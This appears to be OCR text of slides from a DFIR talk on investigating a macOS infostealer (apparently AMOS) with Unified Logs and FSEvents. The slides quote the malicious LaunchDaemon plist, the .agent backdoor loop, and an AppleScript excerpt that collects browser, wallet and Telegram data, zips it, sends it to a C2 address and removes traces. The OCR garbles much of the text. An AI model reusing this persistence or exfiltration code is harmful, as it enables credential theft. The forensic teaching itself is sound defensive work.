hetl load /Library/LaunchDaemons/com.finder.helper.plist
2025-08-14 B5:49:02,189407-6700 0x72d Default exe 313 [} : [

] URL: file:///Library/LaunchDaemons/com.finder.helper.plist
2025-98-14 ©5:49:02.120586-0700 @x784 Default @xcb2 313 2] 4 [ H

] registerLaunchItem: found existing item: uui 11E2E65-70B6-4188-B69C-1D1BA6FLFBB7, name=bash, type=legacy daemon, disposition=[enabled, allowed, visib
le, notified], identifier=com.finder.helper, url=file:///Library/LaunchDaemons/com.finder.helper.plist
2025-08-14 B5:49:082.120594-0700 Ox784 Default @xcb2 313 ] [ H

1 registerLaunchItem: checking for an updated legacy agent or daemon item: uuid=111E2E65-7@B6-4108-B69C- 1DlBA6F1FBB7, name=bash, type=legacy daemon, disp
osition=[enabled, allowed, visible, notified], identifier=com.finder.helper, url=file:///Library/LaunchDaemons/com.finder.helper.plist




Malicious plist file in LaunchDaemon

=l | = i # cat com.finder.helper.plist
<?xml version="1.8" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.8//EN" "http://www.apple.com/DTDs/PropertylList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.finder.helper</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>/Users/jason/.agent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</p1ist>5




Hunting the backdoor

~ # sudo log show --start "2@25-8-14 00:00:00" ——end "2825-88-14 23:59:59" --predicate 'eventMessage contains "jason/.agent" && proc

ess!:"xpcproxﬁ”'
Filtering the log data using "composedMessage CONTAINS "jason/.agent" AND process

Skipping info and debug messages, pass —--info and/or --debug to include.
Timestamp Thread Type Activity PID TTL
2025-88-14 05:16:57.314446-8700 Bxlala Default x928 269 7] 30

I= "xpcproxy""

.plist, config={

] effectiveItemDisposition: appURL=(null), type=legacy daemon, url=file:///Library/LaunchDaemons/com.finder.helper

BTMConfigArguments = (
"/bin/bash",
"/Users/jason/.agent"

):

BTMConfigBundleIdentifiers = (

);

BTMConfigExecutablePath = "/bin/bash";

BTMConfigLabel = "com.finder.helper";




Backdoors dropped to User directory

[y, -y = ~ # 1s -la

total 608

drwxr-x—-——+ 22 staff 704

drwxr-xr—x admin 160 -

staff 7 .CFUserTextEncoding
staff 10244 .DS_Store
staff 160 .Trash

staff 879 .agent

staff 205488 .helper
staff 24 .1id

staff 10 .pass

staff 44 .username
staff 4142 .zsh_history
staff 736 .zsh_sessions
staff 448 Desktop
staff 96 Documents
staff 416 Downloads
staff 2496 Library
staff 128 Movies

staff 96 Music

staff 128 Pictures
drwxr—-xr—x+ staff 128 Public

—TWXr-Xr-x@
—IWXI—XI-X
—IW-I——I——
-IW=-I——T—(

RRRRRRORRO




Backdoor #1: .agent

The .agent script is written
in AppleScript, invoked with
osascript.

It acts as a backdoor loop
to constantly check who is
logged into the console.

If the user is not root, it
abuses sudo to run a
hidden helper binary
(.helper) under the user’s
context.

- o ~ # cat
while true; do
osascript <<EOF
set loginContent to do shell
if loginContent is not equal
do shell script "sudo -u
end if
EOF
sleep 1
donewhile true; do
osascript <<EOF
set loginContent to do shell
if loginContent is not equal
do shell script "sudo -u
end if
EOF
sleep 1
donewhile true; do
osascript <<EOF
set loginContent to do shell
if loginContent is not equal
do shell script "sudo -u
end if
EQF
sleep 1
donel

.agent

script "stat -f \"%Su\" /dev/console"
to "" and loginContent is not equal to "root"
" & quoted form of loginContent & " '/Users/jason/.helper'"

script "stat -f \"%Su\" /dev/console"
to "" and loginContent is not equal to "root"
" & quoted form of loginContent & " '/Users/jason/.helper'"

script "stat -f \"%Su\" /dev/console"
to "" and loginContent is not equal to "root"
" & quoted form of loginContent & " '/Users/jason/.helper'"




Backdoor #2: .helper

The .helper binary was executed (unsigned, flagged by AMFI).

~ # sudo log show --start "2025-8-14 00:00:00" --end "2025-88-14 23:59:59" --predicate 'eventMessage contains "jason/\.helper" && pr

ocess!="xpcproxy"'
Filtering the log data using "composedMessage CONTAINS "jason/.helper" AND process != "xpcproxy""

Skipping info and debug messages, pass ——info and/or --debug to include.

Timestamp Thread Type Activity PID TTL

2025-08-14 ©5:16:57.394283-67800 @x1d37 Default ex8 2] 7] : (AppleM eFileIntegrity) AMFI: '/Users/jason/.helper' ha

s no CMS blob?

2025-08-14 ©5:16:57.394289-67008 0x1d37 Default ax@ -] e : (Apg lobileFileIntegrity) AMFI: '/Users/jason/.helper': U
nrecoverable CT signature issue, bailing out.

2025-88-14 ©5:16:57.987831-0700 Oxlads Default @x7a23 139 e s L H ] AUTHREQ_ATTRIBUTION: msglD=226.2, att
ribution={accessing={TCCDProcess: identifier=app, pid=822, auid=601, euid=601, binary_path= stersfjasonf helper} requesting={TCCDProcess: identifier=com.

It immediately tried to access TCC-protected services (via osascript and WindowServer).
This behavior matches typical infostealer or spyware activity:

e [Fake prompts (osascript).
e Potential screen capture / input grabbing (WindowServer).



Backdoor to C2 Comms Metadata

jason@jasons-Virtual-Machine ~ % cat .id
rrkielcT/bv/9vE42IINXA==%

jason@Pjasons-Virtual-Machine ~ % cat .username
xQ0s03z1P12VuucfGH19gXJj80IT/j5XqvI7IcXkpII=




C2 communication

Date & Time Process Message

2025-88-12 21:30:10.508577-( curl naté4_vh_synthesize(5, 45.94.47.143, ...) returned @

2025-88-12 21:30:10.780056—( curl naté4_vh_requires_synthesis(104.21.44.1084) == false

2025-88-12 21:30:10.780875- naté4_vh_requires_synthesis(172.67.198.185) == false

155.. 86.312122 192.168.64.3 45.94.47.143 TCP 4230 55925 - 80 [ACK] Seq=51357 Ack=1 Win=131840 Len=4164 TSval=2
155.. 86.312122 192.168.64.3 45.94.47.143 TCP 4230 55925 - 80 [ACK] Seq=55521 Ack=1 Win=131840 Len=4164 TSval=2'
155.. 86.312127 192.168.64.3 45.94.47.143 TCP 2842 55925 - 80 [ACK] Seq=59685 Ack=1 Win=131840 Len=2776 TSval=2'
155.. 86.312127 192.168.64.3 45.94.47.143 TCP 5618 55925 - 80 [ACK] Seq=62461 Ack=1 Win=131840 Len=5552 TSval=2'

. 86.312128 45.94.47.143 POST /contact HTTP/1.1
86.313188 192.168.64.3 80 - 55925 [ACK] Seq=1 Ack=31825 Win=72192 Len=0 TSval=17186
. 86.314144 4 0 2_ca 20 0 A > A i 202 1 on-—0 oc:
. 86.315592 ® @ Wireshark - Follow HTTP Stream (tcp.stream eq 6) - amos.pcapng
. 86.318342
. 86.318344
. 86.318345
. 86.319994
. 86.534492
. 86.534493
. 86.535740

> Frame 15597: 171 by

Ethernet II, Src: bt
> Internet Protocol V¢
> Transmission Contro

[15 Reassembled TCP
> Hypertext Transfer |
> MIME Multipart Medi:

Z0agGt83QziCkNCTI4uXcw|

__MACOSX/._pwdUX.....h...|
heven}oon.@....w8.6..
«os03.K.%kV. . DV.F. .%k+.




FSEvents - Leaving Footprints on Disk

Core Services [ File System Events

API Collection

File System Events

Get notifications when the contents of a directory hierarchy change.

Overview

The file system events API provides a way for your application to ask for notification when the contents of a directory
hierarchy are modified. For example, your application can use this to quickly detect when the user modifies a file within a
project bundle using another application.

It also provides a lightweight way to determine whether the contents of a directory hierarchy have changed since your
application last examined them. For example, a backup application can use this to determine what files have changed
since a given time stamp or a given event ID.




FSEvents — Leaving Footprints on Disk

What it is

e TL;DR: Apple’s version of $LogFile
e Can be found on iOS, OS X and external devices plugged into the Mac.
e Generated by Apple OS FSEvents API

o Directory events only 10.5-10.6

o File events since 10.7




FSEvents - Leaving Footprints on Disk

What it is

e Records file system events on that volume

o folder creation, modifications,
renames, deletion

o emptying the Trash
o Inode metadata
o browser activity Event ID -E;g:’;(lal.) assigned to full path on first
o volume mounting or unmounting
o etc.

¢ The relative full path to the file system
FU" Path object that incurred a change.

. * Record flags indicating the type of object
e According to SANS, each log can hold up to GUCTeel (o W ET- = < changed and what changed for i

5000 events.




FSEvents - Leaving Footprints on Disk

o000 M /system/Volumes/Data

Where It IS rooi@M-CO2FR2VYMD6P ~ % cd /System/Volumes/Data
rooi@M-CO2FR2VYMD6P Data % 1s -1la
total 18
P maCoS Catallna and earller drwxrwxr-x@ 22 root admin 704 Aug
' drwxr-xr-x 14 root wheel 448 Aug o
O==X==X ==X 10 root wheel 320 Nov : .DocumentRevisions-V100
/ . fseventSd -rw-p rooi admin 6148 Aug g .DS_Store
. drwx - root admin 25696 Nov : .fseventsd
o maCOS Blg SUI' and |ate|’ drwxr root admin 160 Aug s .PreviousSystemInformation
drwx-- root admin 128 May .Spotlight-Vv100
/System/Vo]_umes/Data/ .fseventsd druxr-xr-t root wheel 64 Aug .TemporaryItems

drwxrwxr-x root admin 1408 Nov Applications
drwxr-xr-x root wheel 64 May cores

dr-xr-xr-x root wheel 1 Nov home

drwxr-xr-x root wheel Sep Library
drwxr-xr-x root wheel 64 May mnt

drwxr-xr-x root admin 96 Jun MobileSoftwareUpdate
drwxr-xr-x root wheel 96 Sep opt

drwxr-xr-x root admin May Previous Content
drwxr-xr-x root wheel Nov private
drwxr-xr-x root wheel May sw

drwxr-xr-x@ root wheel Aug System
drwxr-xr-x root admin Sep Users
drwxr-xr-x@ root wheel Aug usr

drwxr-xr-x root wheel Nov Volumes
rooi@M-C02FR2VYMD6P Data %




FSEvents - Leaving Footprints on Disk

o

[N ‘A a a I’System,’VqumesIData
Must be root to access FSEvents logs rooi@M-CO2FR2VYMD6P Data % sudo ls .fseventsd

Password:

e Stored as compressed binary format (GZIP) eSSy
admin

e Each record is assigned a name by: adnin

hex(last_event_id + ‘]) 1 admin :52 0060O0OEOOEO3de7

. admin :53 00000000A0BO93db

e Events are stored alphabetically (by the admin 153 000000000000e607
. admin :54 000000000001359d

full path), not chronologically! admin :54 00000000000187el
admin :54 000000000001dObd
admin :54 0000000000022fea
admin :54 00OBOOA0AOO278db
admin 156 000000000002eldc
admin :57 00000000000361bF

1
1
1
1
1
1
1
1
1



Structure of FSEvent file

Bl HxD - [CAUsers\ooirc\Downloads\0000000000ac9329-~]

@ File Edit Search View Analysis Tools Window Help

&~ |_g, M~k e | Windows (ANSI) - | hex v
28] 00D0000DONacS329~

Cffset(h) 00 01 02 O3 04 05 O6 OT 08 0% OA OB OC OD OE OF Decoded text

I"1agic bytes - a e 53 4C 44 4 3SLDe"a*Ky. .Lib]
00000010 [ 79 2 70 7 ] 3 7 3 390 | Brv/Apple/Systen
00000020 Library/Installl
Q0000030 EerSandboxes/ . PK]]
Q0000040 nstallSandboxMan
QoQgoos0 bger-SystemSoftw _.._Record

00000060 pre/BSA3CEF4-C41l full path
00000070 1-4D27-8934-5140
00000080 2875584 .activeq
Qoooo0so endbox/Boms/ com.
QO0000AD bpple.pkg.CLTool]
. 000000B0 s SDK mac0S ILMOS
Null terminator - 000000C0 1.bon.ia—......
00000000 €.8%. ... L

O00000EG~" 65 62 72 €1 72 79 2F 41 70 70 6C €5 2F 53 79 73  ibrary/Epple/Sys
0000E0F0 74 €5 6D 2F 4C €9 62 72 6L 72 79 2F 49 6T 73 74 tem/Library/Inst
50000100 €1 6C 6C €5 72 53 61 6E 64 62 6F 7% €5 73 2F 2E  allerSandboxes/.
00000110 50 43 49 6E 73 74 €1 6C 6C 53 €1 6E 64 62 6F 72 PXInstallSandbox

00000120 4D €1 6E £1 67 €5 72 D 53 78 73 T4 €5 €D 53 6F Manager-SystemSo
Record-ID 00000130 66 74 77 €1 72 €5 2F 42 35 41 33 43 45 46 34 2D ftware/BSA3CEF4-
and F1_ag]s 00000140 43 34 31 31 2D 34 44 32 37 2D 38 39 33 34 2D 35 C411-4D27-8934-5

00000150 31 34 30 43 32 3% 37 35 35 35 34 2E 61 €3 T4 69 140C2875584.acti

Note: In Sonoma and newer versions of macOS, the header will be “3SLD”. In
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Parsing FSEvents

@ FSEventsParser ' Pubiic % Fork 50

# master ~ ¥ 1Branch © 1Tag Q Go to file i Add file - - About

Parser for OSX/iOS FSEvents Logs
@ dicowen Update FSEParser V4.1.py bad32f0 . 8 monthsago &) 30 Commits

[0 Readme
[_f] FSEParser V4.1.py Update FSEParser_V4.1.py & months ago & Apache-2.0 license

A Activit
[ LICENSE Initial commit 10 years ago S

¥7 257 stars

. mac_apt Public & Watch 43 ~ % Fork 110

¥ master ~ ¥ 1Branch © 34 Tags Q Go tofile Add file ~ > v About

macOS (& ios) Artifact Parsing Tool
. ydkhatri pyinstaller file updates 8071186 - 5 days ago  {) 765 Commits

& swiftforensics.com

BB Libraries_For_Windows updated lib readme 2 years ago - .
macos forensics dfir




FSEvents — Leaving Footprints on Disk

Why it matters

o Provides insight into file system activity without requiring persistent monitoring tools
o Potentially reconstruct user actions and identify unauthorized file operations

e Uncover additional artifacts that are essential for cross-referencing and validating other
digital evidence (e.g., Unified Logs)




The Main Villain

FileGrabber info keychain

FileGrabber

Cookies.binaryco NotesFiles NoteStore.sqlite
okies




They remove tracks...

end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths

try

parseFF(firefox, writemind)

end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
telegram(writemind, library)
GrabFolder(library & "OpenVPN Connect/profiles/", writemind & "OpenVPN")
do shell script "ditto -c -k -—sequesterRsrc " & writemind & " /tmp/out.zip"

set login to "YVy6sdzq7Yuf-KTog6eXYtnbrisF15PnpqfFizkoi5u="
set buildid to "geyYvJ1laUXGUEroQXVeBz04h8F6nUBfrHf20ctlupnA="
set gate to "http://45.94.47.143"

set cl to "vZvu7nvyf6KD18shsMFDhymo9X/Mc1G1lun32dDJt3Kg="

set cn to "asYM@i2yGLc9uebBdCaQTBr20s7f8nu5zx4pbv1Y2Bo="

set botUrl to "halesmp.com"

send_data(@, gate, login, buildid, cl, cn)
try
do shell script "rm —-f " & profile & "/.username"
end try
try
do shell script "rm -f " & profile & "/.pass"

writeText(password_entered, profile & "/.pass")
replaceApp(profile, password_entered, botUrl)
i i aSSWO ntered, botUrl)

do, shell script "rm /tmp/out.

§




FileGrabber Hunt

1 SELECT *
2 FROM fsevents sorted by event id
3 WHERE fullpath LIEE '3FilsGrabber:’

id id_hex fullpath filename flags
1 £5/3330 UXUUUUUUUUUULDO/IE Pr1VAaTte/ TR, YY / 4/ F11SLTanner,/ NOTEDTOXE.SgLITE FllervVentc; LTEm.10nea; un
2 2873428 0x00000000002bdE854 private/tmp/9974/FileGrabber/ .. NoteStore.sglite-wal FileEvent: ItemCloned; Un
3 2873476 0x00000000002bdE84 private/tmp/9974/FileGrabber/ .. NoteStore.sglite-shm FileEvent: ItemCloned; Un
4 2873552 0x00000000002bd8d0 private/tmp/9974/FileGrabber/ .. Cookies.binarycookies FileEwvent; PermissionChange;ItemCloned; Created; Removed: InodeMetaMod; Un
5 2873556 Ox00000000002bdEed4 private/tmp/9974/FileGrabber/ . Cookies.binarycookies FileEvent: ItemCloned; Un
5 2873920 0x00000000002bda40 private/tmp/9974/FileGrabber/.. NoteStore.sglite-wal FileEvent; PermissionChange;ItemCloned; Created; Removed: InodeMetaMod; Un
7 2873823 0x00000000002bda43 private/tmp/9974/FileGrabber/ . NoteStore.sglite-shm FileEvent: PermissionChange; ItemCloned; Created: Removed: InodeMetaMod; Un
g 287392¢ 0x00000000002bdad46 private/tmp/ 9974/ .. .D5_Store FileEvent; Created;Removed; InodeMetaMod;Modified: FinderInfoMod: TUn
g 2873929 0x00000000002bda4s private/tmp/9974/FileGrabber/ .. Cookies.binarycookies FileEvent: PermissionChange;ItemCloned;Created;Removed: InodeMetaMod; Un
10 2873932 0x00000000002bda4c private/tmp,/9974/FileGrabber,/ NotesFiles FolderEvent; Removed;FolderCreated: TUn
11 2873935 0x00000000002bda4f private/tmp/9974/FileGrabber/.. NoteStore.sglite FileEvent; PermissionChange;ItemCloned; Created; Removed: InodeMetaMod: Un
12 2873938 0x00000000002bdas2 private/tmp/9974/FileGrabber FileGrabber FolderEvent; Removed;FolderCreated; Un




Persistence Trail (LaunchDaemons)

SELECT *
2 FROM [sevents sorted by event id
3 WHERE fullpath LIEE ':LaunchDasmons:' OR fullpath LIEE '%Launchhgsnci’

id id_hex fullpath filename type flags appre
1 12549 0x0000000000003105 Library/LaunchDacmons/amsdstat.plist amsdstat.plist FileEvent; Removed; Tnkno
2 13583 0x0000000000003519 Library/LaunchDaemons/... com.apple.postfixsetup.plist FileEvent; Removed; TUnkno
3 324360 O0Ox000000000004f308 private/var/folders/dag/.. com.apple.SafarilaunchiAgent FolderEvent:; FolderCreated: Unkno
4 878981 0Ox00000000000d61b5 Likrary/Apple/System/Library/.. imklaunchagent.g FileEwvent: Renamed: Unkno
5 1860870 0x00000000001lced3e Library/Apple/System/Library/ . imklaunchagent.g FileEwvent; Renamed; Unkno
5 2435103 0x000000000025281f Library/Apple/System/Library/.. imklaunchagent.g FileEwvent; InodeMetaMod; Unkno
7 2582854 0x0000000000276946 Library/Rpple/System/Library/.. imklaunchagent.8 FileEvent; InodeMetaMod; Unkno
g 2873896 OxOOOOOOGGGGZbdaZHI Library/LaunchDaemons/... com,.finder.helper.plist FileEvent; PermissionChange;ExtendedAttrModified;Created; InodeM.. nkno

Note: the flag PermissionChange, ExtendedAttrModified — plist
adjusted to meet LaunchDaemon requirements (root :wheel, 0644, etc.)

Importance: The persistence installation can be attributed via Unified Logs
timeline (copy — chown — launchctl load).




Hidden Backdoors

1 SELECT *
FROM fsevents sorted by event id
3 WHERE fullpath LIEE 'Ussrs/jasoni' AND (filenams LIEE '.agent' OR filenams LIKE '.helpsr' OR filenams LIEE '.id" OR filenams LIEKE '.ussrnams');
id id_hex fullpath filepame fvpe flags approx_dates_plus_minus_one_day
1 2873782 0x00000000002bdobe Users/jason/.username .username FileEvent; Created;Modified;FinderInfolMod: Inknown
7 ZBT3836 0x00000000002kdoeq Users/jason/ . .helper helper FileEvent; PermissionChange:;Created;Modified; Inknown
3 2873857 0x00000000002bda0l] Users/jason/.agent . agent FileEwent; PermissionChange;Created;Modified;F._. [nknown
4 2874022 0x00000000002bdaad Users/jason/.id .id FileEwent; Created;Modified: [nknown




Deleted Files

1 SELECT *
2 FROM fsevents_sorted by event id
3 WHERE {flags LIEE '%Rsnemsdi' OR flags LIEE 'iRsmowvsd:') AND
4 {fullpath LIKE '"$FileGrabber:' OR filename LIEKE '5974' OR filenames LIKE 'out.zip' OR filename LIKE '.usernams' OR filename LIEKE '.pass')

id id_hex fullpath filename type flags z
1 2873552 0x00000000002bdE8d0 private/tmp/9974/FileGrabber/ . Cookies.binarycookies FileEvent; PermissionChange:;ItemCloned; Created;Removed: InodeMetaMod: Unk
2 28735920 0x00000000002kda40 private/tmp/9974/FileGrakber,/ .. NoteStore.sglite-wal FileEwvent: PermissionChange;ItemCloned;Created; Removed; InodeMetaMod; Unk
3 2873523 0x00000000002bda43 private/tmp/9974/FileGrabber/ NoteStore.sglite—shm FileEwent: PermissionChange;ItemCloned; Created;Removed: InodeMetaMod: Unk
4 28735926 0xCO0000000002kda4e private/tmp/9974/ . . DS_SL‘.DIE FileEwvent; Created;Removed; InodeMetaMod; Modified; FinderInfoMod; Unk
5 2873929 0x00000000002kbda49 private/tmp/9974/FileGrakbber/ . Cookies.binarycookies FileEvent; PermissionChange;ItemCloned; Created;Removed; InodeMetaMod; Unk
§ 2873932 0x00000000002bdadc private/tmp/9974/FileGrabber/ NotesFiles FolderEvent; Removed;FolderCreated; Unk
7 28735935 0x00000000002bda4f private/tmp/9974/FileGrakbber/ HoteStore.sglite FileEwvent; PermissionChange;ItemCloned; Created;Removed; InodeMetaMod; Unk
g 2873938 0x00000000002bda52 private/tmp/9974/FileGrabber FileGrabber FolderEvent; Removed;FolderCreated; Unk
g 2873941 0x00000000002bdass private/tmp/95974 Q9974 FolderEvent; Removed;FolderCreated; Unk
10 2873944 0x00000000002bdas8 private/tmp/out.zip out.zip FileEwvent; Created;Removed;Modified; Unk

Note: .username and .pass is only removed when the TA executes “delete” command remotely from the C2
server.




Download Activity

1 SELECT *
2 FROM fsevents sorted by event id
3 WHERE fullpath LIKE '%Downloads:' AND filenames LIKE '%.dmgi:';
id id_hex fullpath filename type flags
1 42776% Ox0Q0000000000686fY Users/jason/Downloads/. . 1a268c59f025685a4dal11404610cfd113e0.. FileEvent; ExtendedfttrModified;Created; InodeMetaMod; Renamed; FinderInfoMod:
2 428130 0x0000000000068862 Users/jason/Downloads/.. laZe8co9f025685a49dall404610cfdll3e0.. FileEvent; ExtendedAttrModified; Renamed;
3 2872640 0x00000000002bd54) Users/jason/Downloads/ .. 1a268c59f025685a4dal11404610cfd113e0.. FileEvent; ExtendedfttrModified;ExtendedAttrRemoved;
4 2ZB77834 0x00000000002be%8a Users/jason/Downloads/.. DB.Browser.for.5Q0Lite-v3.13.1.dmg FileEvent; ExtendedfttrModified;Created;Renamed;Modified;
5 2877838 0Ox00000000002be%8e Users/jason/Downloads/. . DB.Browser.for.SQLite—. FolderEvent; ExtendedAttrModified;Removed; InodeMetaMod; FolderCreated;
5 2878941 0x00000000002beddd Users/jason/Downloads/.. DB.Browser.for.5Q0Lite-v3.13.1.dmg FileEvent; ExtendedAttrModified;Renamed;




Malicious DMG Mounted

1 SELECT *

FROM fsevents sorted by ewvent id
3 WHERE fullpath LIEE '#Volumes/%';

id id_hex fullpath filename type flags approx_da
1 1226 0x00000000000004ca Volumes/Macintosh HD Macintosh HD SymbolicLink; Created; Unknown
2 35588 0x000000000000%aa4 Volumes,/setup setup FolderEvent; Removed;FolderCreated; Unknown
3 35656 Ox000000000000%ae8 Volumes,/setup setup FolderEvent; |Removed;FolderCreated:; Unknown

4 2870331 O0=x00000000002bcc3b|Volumes,/TradingView TradingView FolderEvent; PermissionChange;FolderCreated; [Unknown

5 2878895 O0x00000000002bedaf Volumes,/Install DE45 Install DB45 FolderEvent; PermissionChange;FolderCreated; Unknown




Initial access User downloads TradingView.dmg into system
Execution User mounts TradingView.dmg and executes the malicious
binary within it
Persistence - LaunchDaemons (com.finder.helper.plist) created
- Backdoors dropped in User directory
Privilege escalation Multiple TCC access requests (suspicious burst)

Discovery Fake password prompt — verified via dscl
Collection System information, files, credentials, keychains, etc. are
collected and stored on /tmp

Exfiltration Stolen data is compressed into a ZIP file and exfiltrated to C2
over HTTP/HTTPS




Caveats of Unified Logs & FSEvents

1. Info/Debug not persisted — much detail only in live Log stream; historical Log show can miss it.
2. Privacy redaction — usernames, IPs and domain names may appear as <private=>/elided.
3. Short retention — Logs are auto-rotated and typically retained for less than ~14 days.

4. Rotation/aging — binary logs roll; snapshots/backups may not retain all.



Appendix

Threat Reports & Blogs

Red Canary - redcanary.com/threat-detection-report/trends/mac-malware

Jamf Threat Labs - media.jamf.com/documents/security-360-2025-Mac-devices.pdf

CrowdStrike -
a. https://www.crowdstrike.com/en-us/blog/falcon-prevents-cookie-spider-shamos-delivery-macos/
b. https://www.crowdstrike.com/en-us/blog/how-to-leverage-apple-unified-log-for-incident-response/

Moonlock

a. moonlock.com/amos-backdoor-persistent-access
github.com/ydkhatri/mac_apt E
github.com/mandiant/macos-UnifiedLogs - ABSOLUTE

b. moonlock.com/moonlock-2024-macos-threat-report

e Mac Forensics: Looking into the Past with FSEvents - SANS DFIR Summit 2017
github.com/dlcowen/FSEventsParser CI N EMA

github.com/osquery/osquery

Forensic Tools & Parsers

f


https://www.crowdstrike.com/en-us/blog/falcon-prevents-cookie-spider-shamos-delivery-macos/
https://www.crowdstrike.com/en-us/blog/how-to-leverage-apple-unified-log-for-incident-response/

Thank You
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